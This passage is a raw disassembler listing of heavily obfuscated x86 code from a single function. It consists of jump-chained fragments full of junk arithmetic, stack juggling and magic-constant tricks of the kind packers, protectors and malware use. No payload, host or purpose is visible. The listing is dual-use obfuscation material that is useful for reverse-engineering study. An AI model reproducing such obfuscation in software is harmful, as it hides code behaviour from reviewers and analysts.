jmp loc_59A8AD ; --------------------------------------------------------------------------- loc_5A60DC: ; CODE XREF: sub_581EE9+12153j push ebx push 4728h push esp pop [esp-6E6Ah+arg_6E60+2] jmp loc_592513 ; --------------------------------------------------------------------------- loc_5A60EB: ; CODE XREF: sub_581EE9+16E21j mov ebx, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 xchg ecx, [esp-6E86h+arg_6E7C+2] jmp loc_5A285B ; --------------------------------------------------------------------------- loc_5A60FC: ; CODE XREF: sub_581EE9+18879j add esp, 4 sub ebx, 4 xchg ebx, [esp-6E88h+arg_6E80] mov esp, [esp-6E88h+arg_6E80] mov [esp-6E88h+arg_6E80], ecx push edi jmp loc_5A35DB ; --------------------------------------------------------------------------- loc_5A6114: ; CODE XREF: sub_581EE9+1E222j xchg eax, ebx not ebx jmp loc_5A5588 ; --------------------------------------------------------------------------- loc_5A611C: ; CODE XREF: sub_581EE9+151C6j push eax xchg ebx, [esp+0] push 0CE8h mov [esp-6E46h+arg_6E3E], ebx not [esp-6E46h+arg_6E3E] mov ebx, [esp-6E46h+arg_6E3E] add esp, 4 jmp loc_5A4746 ; --------------------------------------------------------------------------- loc_5A6136: ; CODE XREF: sub_581EE9+170E7j push edi mov edi, 151165A0h jmp loc_59EED3 ; --------------------------------------------------------------------------- loc_5A6141: ; CODE XREF: sub_581EE9+11D17j push 32BEh mov [esp-6E7Ah+arg_6E72], eax mov eax, 25AA34C6h push 31F1h mov [esp-6E76h+arg_6E6E], ebp mov ebp, 3C46D459h mov ecx, ebp pop ebp jmp loc_5A0D28 ; --------------------------------------------------------------------------- loc_5A6163: ; CODE XREF: sub_581EE9+1C6A9j mov [esp-6E68h+arg_6E60], ebx jmp loc_5A3C2F ; --------------------------------------------------------------------------- loc_5A616B: ; CODE XREF: sub_581EE9+165D7j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6E64h+arg_6E5C] pop esp push ecx inc byte ptr [esp-6E64h+arg_6E5C+1] jmp loc_5A1BEC ; --------------------------------------------------------------------------- loc_5A6185: ; CODE XREF: sub_581EE9+186FEj sub ecx, 31970B82h mov esi, ecx pop ecx neg esi xor esi, 0CFDB96F5h add ebx, esi pop esi push ecx push 2 pop ecx push edi jmp loc_5A1BCB ; --------------------------------------------------------------------------- loc_5A61A6: ; CODE XREF: sub_581EE9+1BEB5j mov ecx, ebp pop ebp pop edx sub esi, ecx mov ecx, [esp-6EAEh+arg_6EA4+2] push edx push esp jmp loc_59BE65 ; --------------------------------------------------------------------------- loc_5A61B6: ; CODE XREF: sub_581EE9+23B94j dec eax shl eax, 1 add eax, 0CC562186h mov ebx, eax jmp loc_595D8E ; --------------------------------------------------------------------------- loc_5A61C5: ; CODE XREF: sub_581EE9+1C763j push ecx mov ecx, 414D3DDCh mov edi, ecx pop ecx sub eax, 27AF3962h jmp loc_594FF0 ; --------------------------------------------------------------------------- loc_5A61D8: ; CODE XREF: sub_581EE9+1C6B2j push 33F8h mov [esp-6E64h+arg_6E5C], esi push 35CFh mov [esp-6E60h+arg_6E58], esp jmp loc_595E1F ; --------------------------------------------------------------------------- loc_5A61ED: ; CODE XREF: sub_581EE9+112E3j xchg edx, [esp] jmp loc_5A50E7 ; --------------------------------------------------------------------------- loc_5A61F5: ; CODE XREF: sub_581EE9+1D1E3j push edx mov edx, 3EEF0AF8h sub eax, edx pop edx jmp loc_596D9B ; --------------------------------------------------------------------------- loc_5A6203: ; CODE XREF: sub_581EE9+14AA6j shr eax, 1 inc eax push esi mov esi, 69587330h jmp loc_599473 ; --------------------------------------------------------------------------- loc_5A6211: ; CODE XREF: sub_581EE9+15317j mov ebx, esi pop esi pop edi add edx, ebx pop ebx push edx push [esp-6EB6h+arg_6EB2] jmp loc_594533 ; --------------------------------------------------------------------------- loc_5A6222: ; CODE XREF: sub_581EE9+145D8j add al, 0E7h push ecx mov ch, 70h jmp loc_598070 ; --------------------------------------------------------------------------- loc_5A622C: ; CODE XREF: sub_581EE9+21AF5j sub edx, 97111E4h pop esi push ebp mov ebp, 4 sub edx, ebp jmp loc_5A0EAF ; --------------------------------------------------------------------------- loc_5A6240: ; CODE XREF: sub_581EE9+1B865j shr ebp, 3 push esi jmp loc_59D96D ; --------------------------------------------------------------------------- loc_5A6249: ; CODE XREF: sub_581EE9+1830Bj dec eax push ecx mov ecx, 3DC502FBh xor eax, ecx pop ecx push edi mov edi, 20B639D5h xor edi, 3DCC0D0Eh jmp loc_5A375D ; --------------------------------------------------------------------------- loc_5A6264: ; CODE XREF: sub_581EE9+245BCj xchg edx, [esp-6E7Ah+arg_6E72] pop esp push eax push esp mov eax, [esp-6E76h+arg_6E6E] add esp, 4 push esi mov esi, 227577AAh xor esi, 6B301534h sub esi, 103E74F4h add esi, 1 shl esi, 6 jmp loc_5A0D14 ; --------------------------------------------------------------------------- loc_5A6293: ; CODE XREF: sub_581EE9+18719j sub eax, 48C5DC6h mov edx, [esp-6E5Ch+arg_6E54] jmp loc_595C8F ; --------------------------------------------------------------------------- loc_5A62A0: ; CODE XREF: sub_581EE9+109C0j pop ecx sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ebx mov ebx, 72DA2738h shr ebx, 8 push edx jmp loc_5A2CA2 ; --------------------------------------------------------------------------- loc_5A62B5: ; CODE XREF: sub_581EE9+217BDj mov eax, 0D559A464h add ecx, eax pop eax sub eax, ecx pop ecx add eax, ebx add eax, 6A59277Dh pop ebx sub eax, 721BE990h sub edi, eax pop eax push ebx jmp loc_59200A ; --------------------------------------------------------------------------- push [esp-6EB4h+arg_6EAC] mov eax, [esp-6EB0h+arg_6EA8] push 2599h mov [esp-6EACh+arg_6EA4], esi push 4876h mov [esp-6EA8h+arg_6E9E+2], esp add [esp-6EA8h+arg_6E9E+2], 4 pop esi jmp loc_594366 ; --------------------------------------------------------------------------- loc_5A62F9: ; CODE XREF: sub_581EE9+13365j mov ebx, 4 jmp loc_597129 ; --------------------------------------------------------------------------- loc_5A6303: ; CODE XREF: sub_581EE9+15453j xor ebp, 24BCEEA2h add ecx, ebp jmp loc_5970C2 ; --------------------------------------------------------------------------- loc_5A6310: ; CODE XREF: sub_581EE9+23206j add esp, 4 jmp loc_59CF1D ; --------------------------------------------------------------------------- loc_5A631B: ; CODE XREF: sub_581EE9+22394j add ebx, esi pop esi sub ebx, edx sub ebx, 3CFD7B06h pop edx movzx ax, byte ptr [eax] push esi push esp pop esi sub esp, 4 mov [esp-6E66h+arg_6E5C+2], ebx push edi mov edi, 0A2F59FAh shl edi, 4 not edi add edi, 1B68300Ch jmp loc_5A53A1 ; --------------------------------------------------------------------------- loc_5A634A: ; CODE XREF: sub_581EE9+1A69Ej push small 264Dh mov word ptr [esp-6E84h+arg_6E7C], cx jmp loc_59FE6D ; --------------------------------------------------------------------------- loc_5A6357: ; CODE XREF: sub_581EE9+20181j add esi, ebx add esi, 51CD3A69h add esi, 6C3A66E8h pop ebx jmp loc_597803 ; --------------------------------------------------------------------------- loc_5A636B: ; CODE XREF: sub_581EE9+1EE9Bj mov cl, bl mov ebx, [esp-6E86h+arg_6E7C+2] jmp loc_59DFDF ; --------------------------------------------------------------------------- loc_5A6375: ; CODE XREF: sub_581EE9+150F2j mov ecx, edi pop edi jmp loc_59FB9A ; --------------------------------------------------------------------------- loc_5A637D: ; CODE XREF: sub_581EE9+19925j xor ecx, 0E329C64Ah add esi, ecx pop ecx add esi, 38D37D99h sub esi, 8F9FA172h jmp loc_5A2879 ; --------------------------------------------------------------------------- loc_5A6397: ; CODE XREF: sub_581EE9+2337Fj xchg edi, [esp-6E64h+arg_6E5C] jmp loc_5993CC ; --------------------------------------------------------------------------- loc_5A639F: ; CODE XREF: sub_581EE9+1AEC8j pop eax shl ebp, 8 shl ebp, 6 and ebp, 342B36E4h xor ebp, 102B0004h add ecx, ebp jmp loc_599A19 ; --------------------------------------------------------------------------- loc_5A63B9: ; CODE XREF: sub_581EE9+2489Bj not edi jmp loc_596C8C ; --------------------------------------------------------------------------- loc_5A63C0: ; CODE XREF: sub_581EE9+16B0Aj sub bl, al add bl, 39h pop eax add bl, 0D1h sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], ebp push ecx mov ecx, 20F15034h shl ecx, 5 sub ecx, 0D1E8B329h push ebx jmp loc_5A1DDA ; --------------------------------------------------------------------------- loc_5A63E4: ; CODE XREF: sub_581EE9+1A3F2j not ebx add ebx, 0ACDFFFF4h add ebp, 281E1068h jmp loc_595389 ; --------------------------------------------------------------------------- loc_5A63F7: ; CODE XREF: sub_581EE9+1BC96j mov [esp-6E66h+arg_6E5C+2], ebp push 4E012BD7h mov ebp, [esp-6E62h+arg_6E58+2] add esp, 4 not ebp sub ebp, 6DF816A7h push eax push ebp mov ebp, 4C7E55FFh mov eax, 7CC8F491h jmp loc_5A1306 ; --------------------------------------------------------------------------- loc_5A641E: ; CODE XREF: sub_581EE9+1F199j mov ebp, [esp-6E80h+arg_6E76+2] jmp loc_5973CA ; --------------------------------------------------------------------------- loc_5A6426: ; CODE XREF: sub_581EE9+2130Cj add esp, 4 add edx, 256220F8h add edx, eax sub edx, 256220F8h push ebx mov ebx, 367C786Dh sub edx, ebx pop ebx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A6448: ; CODE XREF: sub_581EE9+1C5CDj mov esp, [esp-6EA8h+arg_6E9E+2] push edi jmp loc_5A3835 ; --------------------------------------------------------------------------- loc_5A6451: ; CODE XREF: sub_581EE9+1B881j mov edx, 24h add edx, edi xor [edx], ecx pop edx jmp loc_5A09C9 ; --------------------------------------------------------------------------- loc_5A6460: ; CODE XREF: sub_581EE9+1E768j mov edi, 7C965885h shr edi, 1 and edi, 64F65F28h sub edi, 24420BFCh add edx, edi jmp loc_59A14F ; --------------------------------------------------------------------------- loc_5A647A: ; CODE XREF: sub_581EE9+19705j add edi, 4 add edi, 4 push edi push [esp-6E96h+arg_6E92] mov edi, [esp-6E92h+arg_6E8A] add esp, 4 jmp loc_59FDC2 ; --------------------------------------------------------------------------- loc_5A6499: ; CODE XREF: sub_581EE9+1BEF0j add edx, 4 add edx, 4 jmp loc_5A6264 ; --------------------------------------------------------------------------- loc_5A64AA: ; CODE XREF: sub_581EE9+19DABj xor ecx, [esp-6E72h+arg_6E68+2] xor [esp-6E72h+arg_6E68+2], ecx xor ecx, [esp-6E72h+arg_6E68+2] jmp loc_594C62 ; --------------------------------------------------------------------------- loc_5A64B8: ; CODE XREF: sub_581EE9+1EE45j push esi mov esi, 7C10D87h add ecx, esi pop esi add ecx, eax sub ecx, 7C10D87h push eax mov eax, 465F2B5Ah sub ecx, 7BE14549h add ecx, eax add ecx, 7BE14549h pop eax mov eax, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E46h+arg_6E3E] mov esp, [esp-6E46h+arg_6E3E] jmp loc_592320 ; --------------------------------------------------------------------------- loc_5A64FB: ; CODE XREF: sub_581EE9+13590j sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], ecx jmp loc_5A5A8F ; --------------------------------------------------------------------------- loc_5A6509: ; CODE XREF: sub_581EE9+1F082j mov esi, [esp-6E72h+arg_6E68+2] add esp, 4 jmp loc_595CD3 ; --------------------------------------------------------------------------- loc_5A6514: ; CODE XREF: sub_581EE9+19CA3j sub [esp-6EB2h+arg_6EA8+2], 1DFB1016h jmp loc_5A5EF9 ; --------------------------------------------------------------------------- loc_5A6520: ; CODE XREF: sub_581EE9+233FFj xor [esp-6EC2h+arg_6EBA], 73201D4Dh pop ecx xor ecx, 73201D4Dh jmp loc_5940F6 ; --------------------------------------------------------------------------- loc_5A6533: ; CODE XREF: sub_581EE9+2361Aj add ecx, eax mov eax, [esp-6E86h+arg_6E7C+2] add esp, 4 add ecx, 8E9554Ah sub ecx, eax sub ecx, 8E9554Ah push edi jmp loc_5A04A4 ; --------------------------------------------------------------------------- loc_5A6552: ; CODE XREF: sub_581EE9+19E73j mov edx, 4 add eax, edx pop edx push ebx mov ebx, 2 add eax, ebx pop ebx jmp loc_595CA7 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA2h+arg_6E9A] push 1997h mov [esp-6E9Eh+arg_6E96], edx push esp pop edx push ebp push edx mov edx, 293A740Ah mov ebp, 0D6C58BFAh add ebp, edx jmp loc_59FB39 ; --------------------------------------------------------------------------- loc_5A6589: ; CODE XREF: sub_581EE9+1839Cj push esi mov esi, 4 sub ecx, 1A700CFAh add ecx, esi add ecx, 1A700CFAh pop esi jmp loc_5A1E3F ; --------------------------------------------------------------------------- loc_5A65A3: ; CODE XREF: sub_581EE9+14807j push small 4C63h mov word ptr [esp-6EC8h+arg_6EBE+2], bp mov bp, 3123h push di jmp loc_59F1E8 ; --------------------------------------------------------------------------- loc_5A65B6: ; CODE XREF: sub_581EE9+2308Cj pop esi shl ecx, 7 shl ecx, 3 jmp loc_59D857 ; --------------------------------------------------------------------------- loc_5A65C2: ; CODE XREF: sub_581EE9+22697j mov eax, esp jmp loc_59902F ; --------------------------------------------------------------------------- loc_5A65C9: ; CODE XREF: sub_581EE9+1FC56j mov ecx, esp push ebx mov ebx, 2FD93634h inc ebx add ebx, 0D026C9CFh sub ecx, 2F3C2AD4h add ecx, ebx add ecx, 2F3C2AD4h pop ebx add ecx, 4 xchg ecx, [esp-6E72h+arg_6E68+2] pop esp and eax, esi push [esp-6E76h+arg_6E6E] pop esi push ecx jmp loc_5A1956 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E72h+arg_6E68+2] push edx mov edx, esp jmp loc_593B78 ; --------------------------------------------------------------------------- loc_5A6606: ; CODE XREF: sub_581EE9+1A873j mov [esp-6E44h+arg_6E3A+2], esi push eax mov eax, 58EE72CEh shr eax, 2 xor eax, 228C2C30h sub eax, 0F8F93F83h mov esi, eax pop eax sub eax, esi pop esi push 37Fh mov [esp-6E44h+arg_6E3A+2], esi jmp loc_59AC41 ; --------------------------------------------------------------------------- loc_5A662F: ; CODE XREF: sub_581EE9+1B918j or eax, 3C363DA3h xchg eax, edi not edi xor eax, edi xor edi, eax jmp loc_598FE5 ; --------------------------------------------------------------------------- loc_5A6640: ; CODE XREF: sub_581EE9+1243Fj and ch, 34h jmp loc_5A3BCD ; --------------------------------------------------------------------------- loc_5A6648: ; CODE XREF: sub_581EE9+238D9j pop edx add ebx, 0E67A223Bh push ecx mov ecx, 24D13A17h xor ecx, 5BE53570h sub ebx, ecx pop ecx xor ebx, 47F57AFh add ebx, 0FFFFFFFFh push esi mov esi, 7D1572E1h sub ebx, esi mov esi, [esp-6E9Ah+arg_6E92] add esp, 4 shl ebx, 4 jmp loc_596AA4 ; --------------------------------------------------------------------------- push [esp-6E9Eh+arg_6E96] jmp loc_5A1FF4 ; --------------------------------------------------------------------------- loc_5A668B: ; CODE XREF: sub_581EE9+19B50j pop ebp jmp loc_593279 ; --------------------------------------------------------------------------- loc_5A6691: ; CODE XREF: sub_581EE9+19353j push ecx push 5F676968h push [esp-6E9Ah+arg_6E92] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5A2654 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E96h+arg_6E8E] push 27AAh mov [esp-6E92h+arg_6E8A], esi push esp pop esi add esi, 4 add esi, 2 jmp loc_5987A8 ; --------------------------------------------------------------------------- loc_5A66CB: ; CODE XREF: sub_581EE9+149A0j mov ecx, [esp-6E66h+arg_6E5C+2] add esp, 4 sub ecx, 4AEC5849h jmp loc_5A69A0 ; --------------------------------------------------------------------------- loc_5A66DF: ; CODE XREF: sub_581EE9+12BA3j shl esi, 6 xor esi, 40FF20F1h and esi, 42CA663Fh push edi jmp loc_59ACC2 ; --------------------------------------------------------------------------- loc_5A66F4: ; CODE XREF: sub_581EE9+1B539j mov eax, 0 add eax, edx push ecx xor [esp-6E88h+arg_6E80], 4B93537Fh pop dword ptr [eax] xor dword ptr [eax], 4B93537Fh pop eax jmp loc_5A5B77 ; --------------------------------------------------------------------------- loc_5A6711: ; CODE XREF: sub_581EE9+1E2AEj shr ecx, 0Bh push ebx sub [esp-6E80h+arg_6E76+2], 63D1C79h push [esp-6E80h+arg_6E76+2] pop eax push eax mov eax, esp add eax, 4 jmp loc_5921FB ; --------------------------------------------------------------------------- loc_5A672D: ; CODE XREF: sub_581EE9+154B1j add esp, 4 add esp, 4 xor ebx, 59F4521Bh push 5DBAh mov dword ptr [esp-6E82h+arg_6E7A], ebp mov ebp, 25DD5517h jmp loc_59BCEA ; --------------------------------------------------------------------------- loc_5A6751: ; CODE XREF: sub_581EE9+1F2ACj add edi, 5FA7321Bh add edi, ebp jmp loc_5925D6 ; --------------------------------------------------------------------------- loc_5A675E: ; CODE XREF: sub_581EE9+238BCj mov ebp, 79271EC6h not ebp jmp loc_594381 ; --------------------------------------------------------------------------- loc_5A676A: ; CODE XREF: sub_581EE9+1FE33j pop eax add ebx, 9120405h add edx, 14667B75h add edx, ebx jmp loc_5A374D ; --------------------------------------------------------------------------- loc_5A677E: ; CODE XREF: sub_581EE9+23A82j xor edi, 3D301330h jmp loc_5A63B9 ; --------------------------------------------------------------------------- loc_5A6789: ; CODE XREF: sub_581EE9+21A36j add di, 8E4h jmp loc_599F7E ; --------------------------------------------------------------------------- loc_5A6793: ; CODE XREF: sub_581EE9+18DF0j mov ecx, [esp-6EA0h+arg_6E96+2] push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx jmp loc_599204 ; --------------------------------------------------------------------------- loc_5A67AC: ; CODE XREF: sub_581EE9+16E8Cj xchg ecx, edx inc edx neg edx xor edx, 0EBB7ED6Dh add esi, edx pop edx pop eax push esi push [esp-6EAAh+arg_6EA4+2] mov esi, [esp-6EA6h+arg_6E9E] add esp, 4 pop dword ptr [esp-6EAAh+arg_6EA2] pop esp add eax, 4 xor eax, [esp-6EB2h+arg_6EA8+2] xor [esp-6EB2h+arg_6EA8+2], eax xor eax, [esp-6EB2h+arg_6EA8+2] pop esp push 1529h jmp loc_59A329 ; --------------------------------------------------------------------------- loc_5A67E6: ; CODE XREF: sub_581EE9+1778Aj add ebx, edx add ebx, 113A723Eh jmp loc_59E661 ; --------------------------------------------------------------------------- loc_5A67F3: ; CODE XREF: sub_581EE9+1B4F5j or eax, 4E022B85h xchg eax, edi not edi xchg eax, edi jmp loc_59F972 ; --------------------------------------------------------------------------- loc_5A6801: ; CODE XREF: sub_581EE9+2496Fj mov esp, [esp-6E52h+arg_6E48+2] sub esp, 4 mov [esp-6E4Eh+arg_6E44+2], esi push 1196h jmp loc_5A07A1 ; --------------------------------------------------------------------------- loc_5A6814: ; CODE XREF: sub_581EE9+18869j push eax jmp loc_59D8E0 ; --------------------------------------------------------------------------- loc_5A681A: ; CODE XREF: sub_581EE9+21143j mov esi, 1A6723E7h xor esi, 1A6723E3h jmp loc_595912 ; --------------------------------------------------------------------------- loc_5A682A: ; CODE XREF: sub_581EE9+151ACj pop eax xor ecx, edi pop edi add ebx, ecx pop ecx jmp loc_599B29 ; --------------------------------------------------------------------------- loc_5A6836: ; CODE XREF: sub_581EE9+1EE26j mov [esp-6E42h+arg_6E3A], esp push ebx mov ebx, 4 add [esp-6E3Eh+arg_6E3A], ebx pop ebx pop eax add eax, 4 add eax, 4 xor eax, [esp-6E46h+arg_6E3E] xor [esp-6E46h+arg_6E3E], eax xor eax, [esp-6E46h+arg_6E3E] jmp loc_5A6801 ; --------------------------------------------------------------------------- loc_5A685D: ; CODE XREF: sub_581EE9+1BB12j push [esp-6E8Ah+arg_6E84+2] pop ecx pop [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Eh+arg_6E84+2] mov cx, word ptr [esp-6E8Eh+arg_6E84+2] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6E8Ah+arg_6E80+2] pop esp mov [esp-6E8Eh+arg_6E84+2], ebx push 2850h mov [esp-6E8Ah+arg_6E80+2], esp add [esp-6E8Ah+arg_6E80+2], 4 pop ebx push 2B05h jmp loc_599238 ; --------------------------------------------------------------------------- loc_5A6898: ; CODE XREF: sub_581EE9+179AEj pop ax mov dh, ah pop eax jmp loc_595B5E ; --------------------------------------------------------------------------- loc_5A68A2: ; CODE XREF: sub_581EE9+1CF63j push edx push eax mov ah, 40h mov dl, ah pop eax and cl, dl mov edx, [esp+0] jmp loc_59D931 ; --------------------------------------------------------------------------- loc_5A68B3: ; CODE XREF: sub_581EE9+11889j mov edi, 614C4003h sub edi, 68B15E4h jmp loc_594720 ; --------------------------------------------------------------------------- loc_5A68C3: ; CODE XREF: sub_581EE9+140EEj mov [esp-6E64h+arg_6E5C], edx jmp loc_5A49CF ; --------------------------------------------------------------------------- loc_5A68CB: ; CODE XREF: sub_581EE9+16769j add eax, 0E17EAFA0h mov edx, eax mov eax, [esp-6E84h+arg_6E7C] add esp, 4 jmp loc_59B1DF ; --------------------------------------------------------------------------- loc_5A68DD: ; CODE XREF: sub_581EE9+1B951j xor edi, 2FBA29A6h push 61D2h mov [esp-6E46h+arg_6E3E], eax mov eax, 0FFFFFFFFh add edi, eax jmp loc_5A32CB ; --------------------------------------------------------------------------- loc_5A68F7: ; CODE XREF: sub_581EE9+18F78j pop esp push ebp jmp loc_5959C5 ; --------------------------------------------------------------------------- mov cx, [esp-6E82h+arg_6E7A] jmp loc_59B01F ; --------------------------------------------------------------------------- loc_5A6907: ; CODE XREF: sub_581EE9+212AFj pop esp jmp loc_59597A ; --------------------------------------------------------------------------- loc_5A690D: ; CODE XREF: sub_581EE9+1C22Bj sub esi, 0C202BB3h push esi jmp loc_59BC3C ; --------------------------------------------------------------------------- loc_5A6919: ; CODE XREF: sub_581EE9+16E74j add esp, 4 add ebp, ecx pop ecx xchg ebp, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A692A: ; CODE XREF: sub_581EE9+13B57j add ecx, 4 xor ecx, [esp-6E6Ah+arg_6E60+2] xor [esp-6E6Ah+arg_6E60+2], ecx xor ecx, [esp-6E6Ah+arg_6E60+2] mov esp, [esp-6E6Ah+arg_6E60+2] shr ecx, 0Ah push esi push ebx add [esp-6E62h+arg_6E58+2], 0C202BB3h mov esi, [esp-6E62h+arg_6E58+2] sub esp, 4 mov [esp-6E5Eh+arg_6E54+2], ecx mov ecx, esp add ecx, 4 push 189Eh mov [esp-6E5Ah+arg_6E50+2], edi push ecx mov ecx, 5AB96608h jmp loc_596E55 ; --------------------------------------------------------------------------- loc_5A696F: ; CODE XREF: sub_581EE9+16B3Cj sub ebx, 795D3AD1h dec ebx jmp loc_591FE7 ; --------------------------------------------------------------------------- loc_5A697B: ; CODE XREF: sub_581EE9+129E4j mov [esp-6E52h+arg_6E48+2], edi mov edi, 4 jmp loc_5A2286 ; --------------------------------------------------------------------------- loc_5A6988: ; CODE XREF: sub_581EE9+151D4j mov edi, [esp-6E4Eh+arg_6E44+2] jmp loc_59D574 ; --------------------------------------------------------------------------- loc_5A6990: ; CODE XREF: sub_581EE9+1248Bj pop eax inc dh push 679Fh mov [esp-6E98h+arg_6E8E+2], ecx jmp loc_594355 ; --------------------------------------------------------------------------- loc_5A69A0: ; CODE XREF: sub_581EE9+247F1j push [esp-6E6Ah+arg_6E60+2] jmp loc_598068 ; --------------------------------------------------------------------------- loc_5A69A8: ; CODE XREF: sub_581EE9+16F66j sub esp, 4 mov [esp-6E60h+arg_6E58], ecx push ebx mov ebx, 3F97746Bh mov ecx, ebx pop ebx push ecx jmp loc_5A2A61 ; --------------------------------------------------------------------------- loc_5A69BD: ; CODE XREF: sub_581EE9+1F898j push esi mov esi, 379A0733h jmp loc_59B7C9 ; --------------------------------------------------------------------------- loc_5A69C8: ; CODE XREF: sub_581EE9+24BCFj push edx mov dh, 0Dh jmp loc_5A4BA0 ; --------------------------------------------------------------------------- loc_5A69D0: ; CODE XREF: sub_581EE9+17C4Dj xor ebp, 0AC7FB1CBh jmp loc_59A99E ; --------------------------------------------------------------------------- loc_5A69DB: ; CODE XREF: sub_581EE9+122B3j mov eax, [esp-6EC4h+arg_6EBA+2] add esp, 4 push 5847h mov [esp-6EC4h+arg_6EBA+2], eax push esp jmp loc_59BBCA ; --------------------------------------------------------------------------- loc_5A69F2: ; CODE XREF: sub_581EE9+16C16j push eax mov eax, 3B947210h shr eax, 6 sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], esi mov esi, 5B683531h shr esi, 2 dec esi sub esi, 5221ED2h add esi, 105231AEh or esi, 7B2434FFh add esi, 0F039CD4Bh xor eax, esi pop esi add eax, 67F17B4Ah sub eax, 367C114Eh sub eax, 65BE74BDh add eax, 0E764B9C2h add esi, eax pop eax jmp loc_593AF9 ; --------------------------------------------------------------------------- loc_5A6A41: ; CODE XREF: sub_581EE9+10943j pop [esp-6EC4h+arg_6EBA+2] pop esp mov [esp-6ECCh+arg_6EC2+2], ebp push [esp-6ECCh+arg_6EC2+2] pop ebx add esp, 4 jmp loc_597199 ; --------------------------------------------------------------------------- loc_5A6A57: ; CODE XREF: sub_581EE9+20723j add ebx, edi push edi mov edi, 31670C59h sub edi, 2D9DDE6Fh add ebx, edi pop edi add ebx, 174E298Bh sub ebx, 7C2E54A4h push edx mov edx, 0 push edi mov edi, 5B95399Dh dec edi add edi, 1C41081Bh jmp loc_593BCC ; --------------------------------------------------------------------------- loc_5A6A8C: ; CODE XREF: sub_581EE9+130CDj mov ebx, [esp-6E84h+arg_6E7C] add esp, 4 xor edx, 59061A6Ch sub esp, 4 mov [esp-6E84h+arg_6E7C], edx not [esp-6E84h+arg_6E7C] pop edx xor edx, ecx jmp loc_593F13 ; --------------------------------------------------------------------------- loc_5A6AAC: ; CODE XREF: sub_581EE9+17141j mov dl, bl pop ebx shr dl, 8 shl dl, 3 push eax mov ah, 0B5h jmp loc_5A69C8 ; --------------------------------------------------------------------------- loc_5A6ABD: ; CODE XREF: sub_581EE9+1F105j push esi push 6898h mov [esp-6EA2h+arg_6E9A], ebx push 33051AB3h jmp loc_597B8E ; --------------------------------------------------------------------------- loc_5A6AD0: ; CODE XREF: sub_581EE9+1BE32j mov edx, ebp push [esp-6E54h+arg_6E4C] pop ebp jmp loc_5920DC ; --------------------------------------------------------------------------- loc_5A6ADB: ; CODE XREF: sub_581EE9+20F65j xor eax, ecx not ecx jmp loc_59226A ; --------------------------------------------------------------------------- loc_5A6AE4: ; CODE XREF: sub_581EE9+122E6j add esp, 4 jmp loc_59B182 ; --------------------------------------------------------------------------- loc_5A6AEC: ; CODE XREF: sub_581EE9+1AB4Aj pop cx xor dh, 9Fh mov ah, dh jmp loc_5A19EC ; --------------------------------------------------------------------------- loc_5A6AF8: ; CODE XREF: sub_581EE9+21FD9j sub word ptr [esp-6E62h+arg_6E58+2], 6728h mov di, word ptr [esp-6E62h+arg_6E58+2] add esp, 2 jmp loc_59AB58 ; --------------------------------------------------------------------------- loc_5A6B0D: ; CODE XREF: sub_581EE9+10AC9j pop ecx add al, ch push ecx mov ch, 0AAh add al, ch pop ecx mov ecx, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 add al, bl push edx mov dl, 5Bh jmp loc_5A6E3F ; --------------------------------------------------------------------------- loc_5A6B26: ; CODE XREF: sub_581EE9+1F326j push 7DD4h push esp jmp loc_597E54 ; --------------------------------------------------------------------------- loc_5A6B31: ; CODE XREF: sub_581EE9+1B2BCj sub edx, 4 push 0D31h mov [esp-6E76h+arg_6E6E], edx push [esp-6E76h+arg_6E72] mov edx, [esp-6E72h+arg_6E68+2] jmp loc_592826 ; --------------------------------------------------------------------------- loc_5A6B48: ; CODE XREF: sub_581EE9+21E40j push dword ptr [esp+0] pop edi sub esp, 4 mov [esp-6E8Ch+arg_6E84], ebp mov ebp, esp jmp loc_597ED0 ; --------------------------------------------------------------------------- loc_5A6B5C: ; CODE XREF: sub_581EE9+1BC46j push 61A6h push 3CD6h mov [esp-6E5Eh+arg_6E54+2], esp add [esp-6E5Eh+arg_6E54+2], 4 pop [esp-6E5Eh+arg_6E54+2] push 27B5h mov [esp-6E5Eh+arg_6E54+2], eax push ebp push edi mov edi, 7D3860BCh push edi mov edi, 47B545C1h mov ebp, 9C9F5060h xor ebp, edi mov edi, [esp-6E52h+arg_6E48+2] add esp, 4 add ebp, edi pop edi jmp loc_59A06E ; --------------------------------------------------------------------------- loc_5A6B9D: ; CODE XREF: sub_581EE9+16D11j add ebp, 64EE12F4h add ebp, esi sub ebp, 64EE12F4h jmp loc_59CFE0 ; --------------------------------------------------------------------------- loc_5A6BB0: ; CODE XREF: sub_581EE9+18A26j add edx, 4 xchg edx, [esp-6EAEh+arg_6EA4+2] jmp loc_598D0F ; --------------------------------------------------------------------------- loc_5A6BBB: ; CODE XREF: sub_581EE9+1AB11j and [esp-6EBEh+arg_6EB6], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A6BC4: ; CODE XREF: sub_581EE9+1EF51j push [esp-6EA8h+arg_6EA4] pop esi jmp loc_59D0E3 ; --------------------------------------------------------------------------- loc_5A6BCE: ; CODE XREF: sub_581EE9+14746j push esi push [esp-6EA2h+arg_6E9E] pop esi pop [esp-6EA2h+arg_6E9A] pop esp add eax, 2 xor eax, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_599990 ; --------------------------------------------------------------------------- loc_5A6BE5: ; CODE XREF: sub_581EE9+13F80j pop edx sub edx, 762879CFh sub edx, 62B95119h add edx, edi add edx, 62B95119h add edx, 762879CFh push dword ptr [edx] jmp loc_596882 ; --------------------------------------------------------------------------- loc_5A6C07: ; CODE XREF: sub_581EE9+1A0DFj xor ebx, [esp-6EA6h+arg_6E9E] xor [esp-6EA6h+arg_6E9E], ebx xor ebx, [esp-6EA6h+arg_6E9E] 